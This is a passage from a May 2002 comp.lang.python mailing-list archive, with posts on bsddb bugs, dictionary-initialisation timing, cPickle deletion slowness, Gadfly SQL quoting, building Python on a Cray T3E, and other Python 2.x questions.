you've got that stuff down, try again, and hopefully you'll be pleasantly surprised by how easy it actually is. From peter at engcorp.com Thu May 23 01:04:14 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 May 2002 01:04:14 -0400 Subject: OT: off-topic References: <3CEC6B59.3E125BF2@replyto.address.invalid> Message-ID: <3CEC784E.4D6A91DF@engcorp.com> Greg Ewing wrote: > > Mark Hadfield wrote: > > > > In view of the number of threads labelled OT in this group, perhaps we need > > a new group: comp.lang.python.off-topic. > > Why stop at a Python-specific solution? Off-topic > postings are a problem in all newsgroups, so I > propose a single group: > > news.off-topic That group already exists, but it's spelled "news.misc". Either that or "comp.object" .... ;-) -Peter From doru-cat at ifi.uio.no Sat May 4 16:14:36 2002 From: doru-cat at ifi.uio.no (Doru-Catalin Togea) Date: Sat, 4 May 2002 22:14:36 +0200 Subject: FromXMLString wanted. In-Reply-To: <11aed8f9.0205031158.27776f36@posting.google.com> References: <11aed8f9.0205031158.27776f36@posting.google.com> Message-ID: > > I thought of a hack around it, which would consist of reading in my > > xml file into a string, replacing non-english characters with their > > UNICODE encodings and parsing the (xml) string. How do I do that? > Why don't you just convert the string to unicode bofore feeding it to > parser. That's exactly what I intended to do! But what do I do with the string after encoding it, that is how do I get a DOM tree using a string as an XML source? pyxml provides methods like FromXMLStream and FromXMLFile, but no FromXMLString. I understand that I can use another package called minidom. I might try that sometime. From what I found of documentation online I understood pyxml to be the prefered choice, and I would like to have my scripts which worked under python 2.0 work with newer releases as well. As somebody else pointed out to in their response to my original posting, there might be a bug in pyxml 0.7 for python 2.2. Since nobody seems to have heard about a FromXMLString method or the equivallent, I downgraded to python 2.1 and the corresponding pyxml package. To my amazement I found it to work PARTIALLY! I feed it with the same file which was processed succesfully by python 2.0 and the corresponding pyxml (about 9 pages of text within an xml tag) and it crashes! But if I delete most of the text and feed the parser with only a few sentences, it will parse successfully! I didn't have the time to investigate further what is going on. Superficially considered, it seems that there has been introduced a "small" bug in pyxml for python 2.1 and a larger one in pyxml for python 2.2 :-) I am now running python 2.0 and its pyxml module again, and everything is working fine. For the time being I have no particular need to upgrade to the latest python release. (when I did upgrade to python 2.2 it was due to replacing my laptops hardisk with a new one with more storage capacity) Thanks to every one who replied. Catalin <<<< ================================== >>>> << We are what we repeatedly do. >> << Excellence, therefore, is not an act >> << but a habit. >> <<<< ================================== >>>> From kragen at pobox.com Tue May 14 02:23:12 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 02:23:12 -0400 Subject: Survey: bsddb is definitely broken. Should it be fixed, or deprecated? References: <4c877253.0205091721.6f675f81@posting.google.com> Message-ID: <83u1pbgsdr.fsf@panacea.canonical.org> garth at deadly*****serious.com (Garth T Kidd) writes: > Specifically, shelve uses anydbm by default, which on many systems > uses bsddb by default, and bsddb is quite broken, and has been since > Python 1.5 and maybe earlier: > > http://sourceforge.net/tracker/?group_id=5470&atid=105470&func=detail&aid=408271 Specifically, what that bug report says is that BSD DB 1.85 is really broken, but modern versions of BSD DB work. The version of BSD DB in my system libc (I'm running Debian GNU/Linux) works fine. > The easiest solution is to deprecate bsddb and take it out of the list > of contenders for anydbm. I've put up a patch for both: BSD DB 1.x has been deprecated by its authors for years, largely because it is so buggy. Presumably you are having this problem because you are using an obsolete version of BSD DB. The current version of BSD DB, 3.x, is open source and easily downloadable from www.sleepycat.com; I think 2.x is integrated into the GNU C library, which is standard equipment on most Linux systems. I think you may be using ActiveState's distribution of Python, and that ActiveState may have bundled an obsolete buggy version of BSD DB with it, possibly because they didn't like the license on current versions. > Existing databases will still be fine, because whichdb.whichdb will > figure it out and load bsddb. New databases, however, will avoid > bsddb. I have a better solution than deprecating bsddb. If you're going to ship BSD DB with a copy of Python, don't ship the obsolete, buggy BSD DB 1.x. Don't build the bsddb module where there isn't a modern version of BSD DB installed. Don't screw your customers. (Perhaps for backward-compatibility, you could still include the obsolete, buggy BSD DB, but provide access to it via a module called obsoleteversionof.bsddb; anydbm must fall back to obsoleteversionof.bsddb when trying to read a BSD DB file but no bsddb module is present.) I think this is a better solution because BSD DB is by far the best dbm-type library available, and it's wonderful that there's an interface to it in the standard Python library. Deprecating it would be a huge mistake. The above bug URL refers to http://www.deadly*****serious.com/Python/2002/05/06.html (expletive starred out, sorry), which follows: #!/bin/python # Force the error we've been looking at import unittest class BreakHashDB(unittest.TestCase): def runTest(self): import md5, bsddb, os m = md5.new() b = "!" * 129 # small string to write db = bsddb.hashopen(self.dbname, 'c') self.db = db for count in xrange(1, 1000000): if count % 100==0: print " %d\r" % (count), m.update(str(count)) db[m.digest()] = b def unlinkDB(self): import os if os.path.exists(self.dbname): os.unlink(self.dbname) def setUp(self): self.dbname = 'test.db' self.unlinkDB() def tearDown(self): self.db.close() self.unlinkDB() if __name__ == '__main__': runner = unittest.TextTestRunner() runner.run(unittest.TestSuite([BreakHashDB()])) This program ran fine on my laptop, although it took four hours and made the whole machine quite slow due to the enormous amount of disk I/O it generated. From op73418 at mail.telepac.pt Thu May 16 21:40:27 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Fri, 17 May 2002 02:40:27 +0100 Subject: Stupid string formatting question References: Message-ID: <1jn8euo3n9voc1pc55c3803l0f2k97vidj@4ax.com> On Fri, 17 May 2002 01:19:59 -0000, "Michael S. Fischer" wrote: >Why can't I do this? > > def foo(x): > # Do some operations on x yielding a and b > return a, b > > print "a = %s, b = %s" % (foo(x)) > >It seems counter-intuitive that although foo is defined to return a 2-item >tuple, the interpreter just doesn't get it. There must be something you are not telling us. It works fine for me, e.g.: PythonWin 2.2.1 (#34, Apr 15 2002, 09:51:39) [MSC 32 bit (Intel)] on win32. Portions Copyright 1994-2001 Mark Hammond (mhammond at skippinet.com.au) - see 'Help/About PythonWin' for further copyright information. >>> def test(): ... return 'test1', 'test2' ... >>> print "a = %s, b=%s" % test() a = test1, b=test2 >>> print "a = %s, b=%s" % (test()) a = test1, b=test2 >>> Give us the exact error messages you are getting, maybe we can figure something out. Best and good luck, Gon?alo Rodrigues From skip at pobox.com Tue May 21 11:54:20 2002 From: skip at pobox.com (Skip Montanaro) Date: Tue, 21 May 2002 10:54:20 -0500 Subject: performance: initializing dictionary elements In-Reply-To: References: Message-ID: <15594.28076.896310.980097@12-248-41-177.client.attbi.com> George> I found Skip Montanaro's page of performance tips and the George> subsection "Initializing Dictionary Elements" presented an George> optimization using exceptions instead of conditional looping. I George> tried this out for my operation (which was the same one George> incidentally, a full-text index) but found that performance George> actually suffered. I'm using Python 2.1.1. Does anyone have any George> idea why this would happen? The most likely reason is that Python is not static and I haven't done a very good job keeping up with changes. I wrote that missive several years ago. (I have a response to it in my Python mailbox dated 06 Nov 1996.) I should probably have timestamped the various sections, but didn't think of it at the time. I wrote a small script to test these two approaches (appended). It uses two sources for words. One used all the "words" in the tex source for the library reference manual (234k words, 33k unique). The other uses /usr/share/dict/words (45k words, all unique). I also added another approach to initialization that uses {}.get(). Dict's hadn't yet grown that method when I wrote the original document. In both cases all three versions perform about the same (within about 20% of each other). Note that using python's -O flag has an effect on the results because it removes fewer SET_LINENO instructions from the getinit() function than from the other two... -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs import glob, time def ifinit(words): wdict = {} has_key = wdict.has_key for word in words: if not has_key(word): wdict[word] = 0 wdict[word] = wdict[word] + 1 return wdict def excinit(words): wdict = {} for word in words: try: wdict[word] = wdict[word] + 1 except KeyError: wdict[word] = 1 return wdict def getinit(words): wdict = {} get = wdict.get for word in words: wdict[word] = get(word, 0) + 1 return wdict def countwords(words): print "corpus is", len(words), "words" t = time.time() for i in range(5): wdict = ifinit(words) print "using if: %.2f seconds to process" % (time.time()-t), print len(wdict), "unique words" t = time.time() for i in range(5): wdict = ifinit(words) print "using try/except: %.2f seconds to process" % (time.time()-t), print len(wdict), "unique words" t = time.time() for i in range(5): wdict = getinit(words) print "using get(): %.2f seconds to process" % (time.time()-t), print len(wdict), "unique words" print words = [] for file in glob.glob("/home/skip/src/python/head/dist/src/Doc/lib/*.tex"): words.extend(open(file).read().split()) countwords(words) countwords(open("/usr/share/dict/words").read().split()) From claird at starbase.neosoft.com Wed May 8 23:44:48 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 8 May 2002 22:44:48 -0500 Subject: Comments References: Message-ID: <0CBA0C51D3B0613E.B6C0DACA07B89A62.457C3D9FD30AD869@lp.airnews.net> In article , Sean 'Shaleh' Perry wrote: . . . >BTW 'pastiche' means what? > > -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From sean.mcgrath at propylon.com Sat May 18 13:08:43 2002 From: sean.mcgrath at propylon.com (Sean McGrath) Date: Sat, 18 May 2002 18:08:43 +0100 Subject: Exponential time increase in garbage collection In-Reply-To: <20020518160006.23202.88409.Mailman@mail.python.org> Message-ID: <5.1.0.14.0.20020518175555.036e7eb0@mail.digitome.com> [Tim Peters] >Sorry, this is too vague to work with. Start with which verion of Python >you're using, Python 1.5.2 but I've tried with 2.1.3 as well and get the same result. >and try to come up with a self-contained small test case >exhibiting the symptom. System in question runs to many thousands of lines of code so getting a standalone test case is proving interesting but work continues apace to so do. >> The behavior is the same on Windows and Unix. >At the start, you said this happens "depending on the machine". So what >varies besides Windows-vs-Unix that *does* make a difference? Also be >specific aobut which flavors of Windows and Unix you're using (different >flavors of WIndows have radically different memory behavior, and ditto >Unix). Sorry, I meant that the absolute numbers vary from machine to machine but the underlying problem is the same. Windows 2000, NT and Solaris 2.6. I have spent the day investigating this and the problem seems to be to do with cPickle! I have pickled versions of my, reasonably complex objects. If I load, say 200 of these from their pickles, deleting them takes quite a long time. If however, I create 200 duplicate objects using copy.deepcopy(), the deleting time is significantly faster. It does not matter how I store references to the objects - dictionaries, lists, variable names. It seems that whenever they are finalised - even if that is triggered by dropping off the end of the program, the long wait starts... In my last test, 140 objects read from pickles took 323 seconds to delete. By switching to deepcopy() it dropped to 45 seconds - about 7 times faster. Does this scenario ring any bells with anyone? regards, Sean From phd at phd.pp.ru Tue May 14 04:33:39 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 14 May 2002 12:33:39 +0400 Subject: Problem using VC6sp5 to compile extensions - PyObject_HEAD_INIT In-Reply-To: <200205141620.52564.rjones@ekit-inc.com>; from rjones@ekit-inc.com on Tue, May 14, 2002 at 04:20:52PM +1000 References: <200205141620.52564.rjones@ekit-inc.com> Message-ID: <20020514123339.C6254@phd.pp.ru> On Tue, May 14, 2002 at 04:20:52PM +1000, Richard Jones wrote: > kjbucketsmodule.c(3301) : error C2099: initializer is not a constant Well-known problem. http://groups.google.com/groups?hl=en&safe=off&q=initializer+is+not+a+constant&btnG=Google+Search&meta=group%3Dcomp.lang.python.%2A Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From Bill.Scherer at VerizonWireless.com Wed May 22 13:59:17 2002 From: Bill.Scherer at VerizonWireless.com (Scherer, Bill) Date: Wed, 22 May 2002 13:59:17 -0400 (EDT) Subject: Gadfly: single-quote in varchar? In-Reply-To: <59CC5D6A-6DAC-11D6-8804-003065B33450@intersight.com> Message-ID: On Wed, 22 May 2002, Sam Penrose wrote: > I cannot get Gadfly to INSERT a string containing a single-quote (') > into a VARCHAR field. Gadfly appears to insist that strings passed to > its parsing framework be delimited with single quotes: In Oracle anyway, one proper way of doing this is to double the single quote, eg: cursor.execute("INSERT INTO t (Description) VALUES ('alpha''s before beta')") I don't know how Gadfly will react to that, but it wasn't in your list of tried-out-things, so give it a go. > > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha')") > NOT > >>> cursor.execute('INSERT INTO t (Description) VALUES ("alpha")') > > which may or may not be connected, (and rules out the obvious 'INSERT > INTO t (Description) VALUES ("alpha's before beta")') but at any rate no > variation on > > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\'s before > beta')") > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\'s > before beta')") > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\\'s > before beta')") > > seems to work, although some fail silently, neither raising an error or > inserting the row. Description has been defined as a VARCHAR field and > happily accepts strings with other punctuation, including double-quotes. > Anyone know if this is a Gadfly constraint, or notice some dunderheaded > mistake I'm making? > > Gadfly 1.0.0rc1, Unix python 2.2 on Mac OS X. > > TIA, > Sam > > > > -- Bill.Scherer at Verizon Wireless RHCE 807101044903581 From andreas at zope.com Tue May 7 12:38:20 2002 From: andreas at zope.com (Andreas Jung) Date: Tue, 7 May 2002 12:38:20 -0400 Subject: Lists and split References: <20020507162158.060F25D31@hand.ball.reliam.net> Message-ID: <026b01c1f5e5$bde01620$3e17a8c0@suxlap> http://www.python.org/doc/current/lib/module-urlparse.html -aj ----- Original Message ----- From: "magni2k" To: Cc: <666saint at gmx.de> Sent: Tuesday, May 07, 2002 12:21 Subject: Lists and split > Hi, > > i've got a question about lists and how to split them. > This little function is not the whole script and my problem depends only on > this short lines! > I want to split an external file into 3 single terms! > protocol, host, path for example > The file contains urls in form : > ftp://home.arcor.de/user/index/ > http://www.python.org/index.html > ... > So, what I want is to have a listing in form of: > ['ftp', 'home.arcor.de', 'user/index'] > ['http', 'www.python.org', 'index.html'] > > > def List(self): > for line in ListFile(sys.argv[1]): > serverlist = string.split(line, '://') > print serverlist[1] > > Anybody perhaps an idea? The problem is how to split the 2nd time!! > > Thanks for everybody who reads and perhaps can help me ;-) > magni > > > -- > http://mail.python.org/mailman/listinfo/python-list > From bokr at oz.net Thu May 2 16:01:35 2002 From: bokr at oz.net (Bengt Richter) Date: 2 May 2002 20:01:35 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: On Thu, 02 May 2002 17:00:11 GMT, Alex Martelli wrote: >Bengt Richter wrote: > ... >>>> Is there any forced need for Lambda's in Python ? I mean does Lambda >>>> contribute anything that cannot be done otherwise in Python ? >>> >>>Not really. lambda lets you have an anonymous function, and create >>>a function within an expression (while def is a statement and does >> A thought: being ble to do it in an expression allows taking advantage >> of short-circuit evaluation to avoid some problem in a lambda def form >> vs another. > >...while doing it with a def would let you much more easily with >an appropriate if/else: > >if doitoneway: > def foo(): return whatever >else: > def foo(): return somethingelse > What if doitoneway varies during expression evaluation involving foo, and whatever and somethingelse involve function calls with side effects? Would you pass all the unevaluated pieces to an outside function? I'm sure it would be cleaner sometimes, but I'm not sure about all the time. C'mon, you can argue both sides ;-) >> What do you think re short circuit evaluation vav lambda? > >Given the lack of a ternary operator in Python (insert appropriate >smiley fraction here), if/else is much more comfortable for this. > ISTM a real ternary or cond expression would be a good addition to Python. Regards, Bengt Richter From mwh at python.net Wed May 15 09:29:05 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 15 May 2002 13:29:05 GMT Subject: Building Python on Cray T3E References: Message-ID: "Mark Hadfield" writes: > "Michael Hudson" wrote in message > news:lkhelg74ts.fsf at pc150.maths.bris.ac.uk... > > > So does the resulting Python actually work after this? We got this > > far with 2.2.1c1, but you never told me if the dang thing worked or > > not... > > I'm not sure who this question was directed to, Kalle Svensson. He tried to build on a Cray (a J90, I think) when 2.2.1c1 came out, but didn't have the time to finish the job off. > but here are the results of my attempts to build Python 2.2.1 on a > Cray T3E over the last few days. The summary is: it can be built and > installed and it runs several simple scripts, but several modules > are broken to a greater or lesser extent. It's not yet clear to me > how useful it will be or how much work is required to fix things. That's cool. > The procedure is the usual "configure; make; make install" with the > following variations and notes: > > - The compiler (found automatically by the configure script) is > Cray's cc. We don't have gcc on the NIWA machine and a note from > Konrad Hinsen in README warns against using it anyway. That note is probably pretty old; I don't know if it's still relavent. > - As has been discussed before on this group, Python's unicode > module cannot be built because the Cray compiler lacks a 16-bit > character datatype (something like that--don't trust me on the > details here). So we disable it with "configure > --enable-unicode=ucs4". That doesn't actually disable unicode (you want --disable-unicode for that). *Lots* of tests fail in --disable-unicode builds, mostly for very shallow reasons (u'' literals not being supported for the most part). > - As noted earlier in this thread, there is a C-function name clash > in the _sre module, which can be easily fixed. However, recall that > sre is one of two alternative regular-expression engines for the re > module, the other engine being pre. It turns out that sre does not > pass its tests so the path of least resistance is is to modify > Lib/re.py to use the pre engine (the change is trivial) and comment > out the _sre entry in Modules/Setup. How does it fail? Is it the "NoneType not callable" failure below. That's an odd one. > - The Cray compiler does not support dynamic linking, so extensions > must be explicitly listed in Modules/Setup. Here is the list of > extensions I have built & linked successfully: > > posix posixmodule.c > new newmodule.c > array arraymodule.c > cmath cmathmodule.c > math mathmodule.c > struct structmodule.c > time timemodule.c > operator operator.c > _weakref _weakref.c > _codecs _codecsmodule.c > _testcapi _testcapimodule.c > _symtable symtablemodule.c > strop stropmodule.c > regex regexmodule.c regexpr.c > pcre pcremodule.c pypcre.c > _locale _localemodule.c > fcntl fcntlmodule.c > pwd pwdmodule.c > grp grpmodule.c > errno errnomodule.c > select selectmodule.c > xreadlines xreadlinesmodule.c > _socket socketmodule.c > crypt cryptmodule.c > termios termios.c > timing timingmodule.c > rotor rotormodule.c > syslog syslogmodule.c > dbm dbmmodule.c > binascii binascii.c > parser parsermodule.c > cStringIO cStringIO.c > cPickle cPickle.c That's a fairly impressive list. Did the unicodedata module fail to build, or did you not try it? > - With the above modules included, Python is built > successfully. There are quite a few warnings, which I haven't > checked out yet. I think that some of them come home to roost in the > tests. Quite likely. Though Python is more-or-less 64 bit clean (runs on alphas, for isntance). Having 64-bit chars is probably a surprise to some of the code, though... > - After building Python, make runs setup.py, which attempts (among > other things) to build extensions not already built & linked > statically. This is a futile but harmless exercise; the inevitable > failures do not cause make to abort. I have seen elsewhere (in > connection with Cygwin Python) a reference to a "--disable-shared" > option to configure that I presume would inhibit this. However this > is ignored by configure in Python 2.2.1. You can get it to not do this by just executing "make python" rather than "make all" or "make". --disable-shared is a red herring in this context, I think (even in 2.3 where it exists). > - Testing is a somewhat depressing experience. On the NIWA machine, > a simple "make test" command fails to complete after 12 hours and > thrashes the swap space, with the side effect of inhibiting all > network access for 10 seconds out of every 30. ! Is this test_longexp, by any chance? > (They don't call these things supercomputers for nothing. I bet > you can't do *that* on your $1000 Linux box!) By running "make > test" for a while then completing the tests one at a time, I have > established that the following tests fail: Most of the skips are harmless. > test test_al skipped -- No module named al > test test_audioop skipped -- No module named audioop > test test_binhex failed -- CRC error > test test_bsddb skipped -- No module named bsddb > test test_cd skipped -- No module named cd > test test_cl skipped -- No module named cl > test test_curses skipped -- No module named _curses > test test_descr skipped -- No module named xxsubtype > test test_dl skipped -- No module named dl > test test_fcntl crashed -- IO Error Hmm. > test test_fpformat failed -- AssertionError: '-0' != '0' Do Crays still have eccentric fp behaviour? > test test_hmac failed -- No module named md5 > test test_hotshot skipped -- No module named _hotshot > test test_imageop skipped -- No module named imageop > test test_imgfile skipped -- No module named imgfile > test test_linuxaudiodev skipped -- No module named linuxaudiodev > test test_locale skipped -- test locale en_US not supported > test test_longexp crashed -- exceptions.MemoryError: Oh, so this isn't the one that thrashes for days... I could imagine that this test would consume serious memory on a cray... > test test_md5 skipped -- No module named md5 > test test_minidom skipped -- No module named pyexpat > test test_mmap skipped -- No module named mmap > test test_nis skipped -- No module named nis > test test_ntpath skipped -- No module named nt > test test_openpty skipped -- No openpty() available. > test test_pep247 skipped -- No module named md5 > test test_poll skipped -- select.poll not defined > test test_pty skipped -- Pseudo-terminals (seemingly) not > functional. > test test_pyexpat skipped -- No module named pyexpat > test test_re crashed -- exceptions.TypeError: 'NoneType' object is > not callable This is just wierd. Can you dig a little? > test test_rgbimg skipped -- No module named rgbimg > test test_rotor produced unexpected output: > test test_sax skipped -- no XML parsers available > test test_sha skipped -- No module named sha > test test_socket crashed -- socket.error: unknown address family > test test_socket_ssl skipped -- Use of the `network' resource > not enabled > test test_socketserver skipped -- Use of the `network' resource > not enabled > test test_sre crashed -- exceptions.UnicodeError: \N escapes not > supported (can't load unicodedata module) This is probably shallow. You could try hacking the unicode bits of the test out. > test test_sunaudiodev skipped -- No module named sunaudiodev > test test_sundry skipped -- No module named md5 > test test_ucn skipped -- No module named unicodedata > test test_unicode crashed -- exceptions.UnicodeError: \N escapes > not supported (can't load unicodedata module) > test test_unicode_file skipped -- No Unicode filesystem semantics > on this platform. > test test_unicodedata skipped -- No module named sha > test test_urllib2 skipped -- No module named md5 > test test_winreg skipped -- No module named winreg > test test_winsound skipped -- No module named winsound > test test_zipfile skipped -- No module named zlib > test test_zlib skipped -- No module named zlib > > Not all of the test failures are of any significance, of course. (I > didn't really expect Windows registry operations to work.) But the > failure in test_re is a little worrying... > > My immediate reason for installing Python on the Cray is that I want > to check out SCons, but it *must* work on the Cray to be of any use to > me. At the moment SCons won't work because it requires md5, which > couldn't be compiled because it requires a UINT4 data type. So I guess > I'll either have to get md5 working or persuade SCons to work without > md5 checksums. Oh well... Yeah, the md5 code that comes with Python is fairly 32 bit specific. However, if you can find some md5-for-cray code in the wild, it's probably not too much effort to hook it up to Python. Cheers, M. -- Very clever implementation techniques are required to implement this insanity correctly and usefully, not to mention that code written with this feature used and abused east and west is exceptionally exciting to debug. -- Erik Naggum on Algol-style "call-by-name" From mtk at u.washington.edu Sun May 5 15:55:12 2002 From: mtk at u.washington.edu (Totte Karlsson) Date: Sun, 5 May 2002 12:55:12 -0700 Subject: python and C++? References: Message-ID: Thanks I'll test boost, How about SWIG? is boost preferable? any opinions? I read that you can't wrap C++ functions which return pointers? sounds like a big limitation to me. My classes return pointers all the time.. is there a workaround? I want to use the simplest and most versatile.. /totte "David Abrahams" wrote in message news:ab3mgb$mgc$1 at bob.news.rcn.net... > > "Totte Karlsson" wrote in message > news:ab1r85$1u8s$1 at nntp6.u.washington.edu... > > Hi, > > Is there any good texts about how to interface to a windows dll with > python? > > I'm a total beginner of python. > > I'm a C++ programmer and what I want is to make a DLL and interface to > that > > one with python. > > Say for example, I have a C++ class, called mtkMatrix. Is it then possible > > to allocate a mtkMatrix in a python script and acess its class member > > functions? > > thanks > > /totte > > Boost.Python was specifically designed to address your needs > (www.boost.org/libs/python/doc/). If you need help getting started, please > direct further questions to the C++-sig: > http://www.python.org/sigs/c++-sig/. > > HTH, > Dave > > P.S. I strongly recommend using the latest boost CVS state > (http://sourceforge.net/cvs/?group_id=7586) rather than the current release > version. > > From shagshag13 at yahoo.fr Fri May 31 16:08:09 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Fri, 31 May 2002 22:08:09 +0200 Subject: OverflowError: math range error ??? References: Message-ID: float.......................... "Shagshag13" a ?crit dans le message de news: ad8jv5$vb9es$1 at ID-146704.news.dfncis.de... > So it's ok, i thing i should have work with real :o)))))))))) > > >>> math.log(15996 / 25859) > Traceback (most recent call last): > File "", line 1, in ? > math.log(15996 / 25859) > OverflowError: math range error > >>> math.log(15996.0 / 25859.0) > -0.48032001185119749 > > > "Shagshag13" a ?crit dans le message de news: > ad8bkk$va3sb$1 at ID-146704.news.dfncis.de... > > > > What does it mean "OverflowError: math range error" ??? > > > > I get this: > > > > Traceback (most recent call last): > > File "./build_index.py", line 91, in ? > > ii.updateWeight() > > File "./invertedindex.py", line 109, in updateWeight > > idf = ( math.log( (N + 1) / (df + 1) ) / math.log(2) + 1 ) > > OverflowError: math range error > > > > (ps: i am on Solaris, if this helps) > > > > thanks in advance, > > > > s13. > > > > > > > > From cmkleffner at gmx.de Wed May 15 06:18:48 2002 From: cmkleffner at gmx.de (cmkl) Date: 15 May 2002 03:18:48 -0700 Subject: Multi-precision packages: gmpy vs mxNumber References: Message-ID: <3b091a1c.0205150218.64929d5f@posting.google.com> Gerhard H?ring wrote in message news:... > Fernando P?rez wrote in comp.lang.python: > > Do any of the experts have any advice on the pros and cons of these two GMP > > wrappers? [...] > > While we're at it, is there any Python extension for fixed point > arithmetic available? pyPgSQL has a fixed point type implemented in > Python, which should eventually be replaced by a C type. It would be > great if I could borrow code somewhere. > > Gerhard Not exactly what you want, but David H. Bailey's multiprecision software (see http://www.nersc.gov/~dhbailey/mpdist/mpdist.html) should be easily swigable, esp. the "C/C++ and Fortran-90 quad-double and double-double precision programs" (http://www.nersc.gov/~dhbailey/mpdist/qd.tar.gz). See also: http://www.nersc.gov/~dhbailey/dhbpapers/arith15.pdf and http://www.nersc.gov/~dhbailey/dhbpapers/quad-double.pdf Carl From python at rcn.com Tue May 28 16:51:41 2002 From: python at rcn.com (Raymond Hettinger) Date: Tue, 28 May 2002 16:51:41 -0400 Subject: Why are types not hashable? References: <3CF3E7A4.9010103@verio.net> Message-ID: I think you have a typo. Perhaps you meant: for t in alltypes: typestrings[eval('types.' + t)] = t Raymond Hettinger "VanL" wrote in message news:3CF3E7A4.9010103 at verio.net... > > What prevents this from working: > > >>> import types > >>> alltypes = [t for t in types.__dict__.keys() if t[:2] > != '__'] > >>> typestrings ={} > >>> for t in alltypes: typestrings[eval('types.' + t): t] > ... > Traceback (most recent call last): > File "", line 1, in ? > TypeError: unhashable type > > > Why is not hashable? Surely its not mutable? > > Thanks, > > Van > From kragen at pobox.com Tue May 28 19:18:48 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 19:18:48 -0400 Subject: Is 'isinstance()' the right thing? References: <3CCE5F2A.1103E744@alcyone.com> Message-ID: <83u1orsvxj.fsf@panacea.canonical.org> juenglin at informatik.uni-freiburg.de (Ralf Juengling) writes: > Why aren't types not the right machinery for specifying the support > of a protocol? Whenever someone introduces a new protocol, he would > set up a new abstract type (or class), say (to become more Python related > at the end) > > class _iterator_: > """This is an abstract class defining the iterator protocol > """ > def __iter__(self): raise NotImplementedError > def next(self): raise NotImplementedError > > for the iterator protocol. Any class implementing the iterator > protocol would be a subclass of '_iterator_' (probably among others) > to signal, it is implementing this protocol. The problem is that once you provide a mechanism for requiring arguments to be derived from a particular type, people will start requiring them to be derived from lots of different types, and some of those types won't be interface types. The result, in languages that support this, like C++ and Java, is tight coupling between classes: class A requires that arguments to its bletch() method be derived from class B, which typically means they have to inherit class B's bugs and stupid design mistakes, and also means that they have to be written by somebody who knew about class B. In one Python application I currently work on, we've been able to switch between using lists and Numeric arrays in several places with very little difficulty. From dalke at dalkescientific.com Fri May 17 23:58:52 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 17 May 2002 21:58:52 -0600 Subject: Gadfly-1.0rc1 Errors References: <1bf96e7f.0205170355.c90e919@posting.google.com> Message-ID: Dave Moor: >> raise exc[0], (exc[1][0], exc[1][1] + ' removing '+cmd[1]) >> OSError: [Errno 13] Permission denied removing _test_dir\test.gfl > >The error repeat for 40 tests, but its always caused by shutil.rmtree. > The install worked OK, should I worry about the tests failing? Just a guess, not based on looking at source code. MS Windows doesn't allow an open file to be deleted, while Unix does. I suspect the cleanup code is trying to remove the test directory and can't because something therein is open. If so, it's not a problem. Andrew dalke at dalkescientific.com From ianb at colorstudy.com Fri May 31 23:08:13 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 31 May 2002 22:08:13 -0500 Subject: Python/Scripting language performance In-Reply-To: <3CF791B6.9050304@bioeng.ucsd.edu> References: <3CF65A62.2070705@bioeng.ucsd.edu> <3CF791B6.9050304@bioeng.ucsd.edu> Message-ID: <1022900894.10680.6396.camel@localhost> On Fri, 2002-05-31 at 10:07, Curtis Jensen wrote: > If Python and Perl are not scripting languages, then what are they? They are just languages that can be used for scripting. > Also, is dynamic typing the only reason for python's performance hit? > Does this mean that if I use something like Numeric arrays (from the > Numeric Module), which pretty much staticaly types it's variables, and > define these variables at the top of a function or in the constructor of > a class, that I would avoid the performance hit of dynamic typing? Are > there other performance penalties in Python other than dynamic typeing? > What are they? It's not so much that dynamic typing is the performance hit, as much as dynamic typing means that many optimizations cannot be made. In general, Python does not lend itself to much compile-time optimization -- for instance, methods in classes can be replaced at runtime, and classes in modules can be changed as well (since they are just a global variable). So not only is the type of a variable or argument dynamic, but once you know what the type is you don't know exactly how it will respond. In C++, because of static typing you can often tell exactly what code will be run when you see something like x.dothis() -- you know the type (class) of x, and you know the definition of the dothis method. You can optimize all sorts of things when you know this. OTOH, sometimes these optimizations aren't possible -- for instance, virtual methods in C++ do something very similar to Python method lookups (though they are still more restricted, and can be optimized more). You can also come up with clever optimizations in Python that utilize the dynamicism for a speed benefit. For instance: class Whatever: def __init__(self, fancyRepr): if fancyRepr: self.__repr__ = self.fancyRepr def fancyRepr(self): return 'one version of repr for the object' def __repr__(self): return 'the standard repr version' Then, instead of having a fancyRepr instance variable, and testing it on each call to __repr__, the logic is contained in the object instantiation itself. There's also a certain penalty associated with all of Python's magic methods -- things like __getattr__, __add__, etc. This penalty usually only occurs when you actually use the feature, though, so it's not a big deal. But every time you do a dictionary access, there does have to be a little bit of code to test if you have a real dictionary. Dynamic typing does not mean optimization is impossible, however. SELF pioneered a lot of techniques for doing this kind of optimization, and that later became JIT in Java. I think people are talking about doing JIT stuff in Parrot (the next-generation Perl bytecode interpreter), and there's also talk of compiling Python into Parrot bytecodes, so that might come to pass. Or Python-specific JIT might come to pass. > I'm still lost on the point of the byte code. What's the point? If > it's still line by line interpreted, why not just skip the byte code > compilation and line by line interpret the source? Is there some > optimization in the byte code? Byte code is interpreted, but then so is machine code -- *something* has to be interpreted when the code is run. Bytecode can't overcome the dynamic nature of Python, but it does skip a lot of steps in Python -- in particular, you really don't have to parse Bytecode, but it takes quite a bit of effort to parse Python source code. Bytecode avoids that parsing stage. Ian From mark at freelance-developer.com Fri May 17 13:51:40 2002 From: mark at freelance-developer.com (Mark Nenadov) Date: Fri, 17 May 2002 13:51:40 -0400 Subject: Bar and Pie Graphs References: Message-ID: <5kbF8.11994$op.2558713@read2.cgocable.net> Marcus Laranjeira wrote: > I am writing a report generator in python and I need to create some 3D bar > and 